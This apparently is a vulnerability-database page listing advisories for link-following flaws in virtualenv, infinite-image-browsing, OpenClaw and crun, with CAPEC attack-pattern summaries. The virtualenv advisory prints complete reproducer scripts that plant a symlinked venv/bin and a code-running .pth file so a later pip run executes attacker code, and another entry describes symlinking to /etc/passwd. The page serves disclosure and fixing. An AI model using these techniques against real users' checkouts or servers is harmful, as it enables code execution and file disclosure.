def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
    local_bin = home / ".local/bin"
    user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
    local_bin_before = set(os.listdir(local_bin))
    payload_marker = home / "PWNED"

    # the attacker's checkout arrives at ~/project
    subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
    venv = home / "project/venv"
    print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

    # default options; the flag only keeps the run off the network
    subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
    written = sorted(set(os.listdir(local_bin)) - local_bin_before)
    payload_ran_at_creation = payload_marker.exists()
    print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
    print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
    print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

    # later, in another folder, the user runs pip
    pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
    print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
    print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
    return written, payload_marker.exists() and not payload_ran_at_creation


print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")

# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")

repro.d/checkout_with_bin_link.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

# one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
    site_packages = venv / f"lib/python3.{minor}/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

# relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")

repro.d/checkout_with_bin_link_staying_inside.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
    (venv / f"lib/python3.{minor}").symlink_to("py")

# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")

# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")

Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

Fix: PR #3429.

Known mitigation

Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

Affected release

  • [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "virtualenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.14.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T21:35:56Z",
    "nvd_published_at": "2026-10-20T20:17:17Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
  "id": "GHSA-cw65-gx24-rc82",
  "modified": "2026-10-21T21:35:56Z",
  "published": "2026-10-21T21:35:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3429"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "virtualenv: Builtin creation follows linked environment directories"
}

GHSA-CW66-PFP5-82XP

Vulnerability from github – Published: 2026-08-21 15:32 – Updated: 2026-08-21 15:32
VLAI
Details

to_abs_path in scripts/iib/tool.py normalised the requested path with os.path.normpath, which collapses dot segments but does not resolve symbolic links. A symlink placed inside a scanned directory therefore satisfies the containment comparison performed by is_path_trusted in scripts/iib/api.py while pointing outside that directory, and FileResponse follows the link when serving the response, so a link created in an image directory and targeting a file such as /etc/passwd discloses that file. Whether the check applies depends on get_enable_access_control in scripts/iib/tool.py: it returns true when IIB_ACCESS_CONTROL is set to enable, false when set to disable, and otherwise true when the host Stable Diffusion WebUI was started with share, ngrok, listen or server_name, falling back to false. Confinement is therefore active in the network-exposed WebUI deployments that rely on it, while a standalone run with no such option serves every readable file regardless of this flaw. The fix resolves the path with os.path.realpath.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-77815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T15:16:47Z",
    "severity": "HIGH"
  },
  "details": "to_abs_path in scripts/iib/tool.py normalised the requested path with os.path.normpath, which collapses dot segments but does not resolve symbolic links. A symlink placed inside a scanned directory therefore satisfies the containment comparison performed by is_path_trusted in scripts/iib/api.py while pointing outside that directory, and FileResponse follows the link when serving the response, so a link created in an image directory and targeting a file such as /etc/passwd discloses that file. Whether the check applies depends on get_enable_access_control in scripts/iib/tool.py: it returns true when IIB_ACCESS_CONTROL is set to enable, false when set to disable, and otherwise true when the host Stable Diffusion WebUI was started with share, ngrok, listen or server_name, falling back to false. Confinement is therefore active in the network-exposed WebUI deployments that rely on it, while a standalone run with no such option serves every readable file regardless of this flaw. The fix resolves the path with os.path.realpath.",
  "id": "GHSA-cw66-pfp5-82xp",
  "modified": "2026-08-21T15:32:13Z",
  "published": "2026-08-21T15:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zanllp/infinite-image-browsing/issues/968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zanllp/infinite-image-browsing/pull/969"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zanllp/infinite-image-browsing/commit/4057a624c7a23a36f0b4dc6a545b40767d602450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zanllp/infinite-image-browsing"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zanllp/infinite-image-browsing/blob/v1.8.0/scripts/iib/api.py#L329-L344"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zanllp/infinite-image-browsing/blob/v1.8.0/scripts/iib/tool.py#L172-L175"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/infinite-image-browsing-resolves-paths-with-normpath-allowing-symlink-escape-from-scanned-directories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CWF8-44X6-32C2

Vulnerability from github – Published: 2026-04-03 02:49 – Updated: 2026-05-06 21:22
VLAI
Summary
OpenClaw: OpenShell Mirror Sync — Sandbox Escape via Unrestricted File Sync + Symlink Traversal
Details

Summary

OpenShell Mirror Sync: Sandbox Escape via Unrestricted File Sync + Symlink Traversal

Current Maintainer Triage

  • Status: narrow
  • Normalized severity: high
  • Assessment: v2026.3.28 still has the mirror-boundary bug because shipped c02ee8 only excluded hooks while unreleased 3b9dab is the first full symlink-free upload and download hardening.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version: 2026.3.31
  • Vulnerable version range: <=2026.3.28
  • Patched versions: >= 2026.3.31
  • First stable tag containing the fix: v2026.3.31

Fix Commit(s)

  • c02ee8a3a4cb390b23afdf21317aa8b2096854d1 — 2026-03-25T19:59:07Z
  • 3b9dab0ece4643a9643e6a45459f5c709d3ce320 — 2026-03-30T14:51:44+01:00

OpenClaw thanks @AntAISecurityLab for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41397"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T02:49:14Z",
    "nvd_published_at": "2026-04-28T19:37:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nOpenShell Mirror Sync: Sandbox Escape via Unrestricted File Sync + Symlink Traversal\n\n## Current Maintainer Triage\n- Status: narrow\n- Normalized severity: high\n- Assessment: v2026.3.28 still has the mirror-boundary bug because shipped c02ee8 only excluded hooks while unreleased 3b9dab is the first full symlink-free upload and download hardening.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `c02ee8a3a4cb390b23afdf21317aa8b2096854d1` \u2014 2026-03-25T19:59:07Z\n- `3b9dab0ece4643a9643e6a45459f5c709d3ce320` \u2014 2026-03-30T14:51:44+01:00\n\nOpenClaw thanks @AntAISecurityLab for reporting.",
  "id": "GHSA-cwf8-44x6-32c2",
  "modified": "2026-05-06T21:22:37Z",
  "published": "2026-04-03T02:49:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-cwf8-44x6-32c2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41397"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/3b9dab0ece4643a9643e6a45459f5c709d3ce320"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c02ee8a3a4cb390b23afdf21317aa8b2096854d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-sandbox-escape-via-unrestricted-file-sync-and-symlink-traversal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: OpenShell Mirror Sync \u2014 Sandbox Escape via Unrestricted File Sync + Symlink Traversal"
}

GHSA-CWHR-HWJ2-CJRP

Vulnerability from github – Published: 2026-09-10 09:31 – Updated: 2026-10-02 15:31
VLAI
Details

A flaw was found in crun. After pivot_root, reopening /dev/null for stdio can follow a symlink and attach a host file to container stdio, then change that file's ownership. Affected versions are crun 1.29.1 and earlier. Default configurations that mount a fresh /dev are not exposed. No fixed release is available yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-88265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T09:17:03Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in crun. After pivot_root, reopening /dev/null for stdio can follow a symlink and attach a host file to container stdio, then change that file\u0027s ownership. Affected versions are crun 1.29.1 and earlier. Default configurations that mount a fresh /dev are not exposed. No fixed release is available yet.",
  "id": "GHSA-cwhr-hwj2-cjrp",
  "modified": "2026-10-02T15:31:11Z",
  "published": "2026-09-10T09:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88265"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71668"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-88265"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2531224"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/crun"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.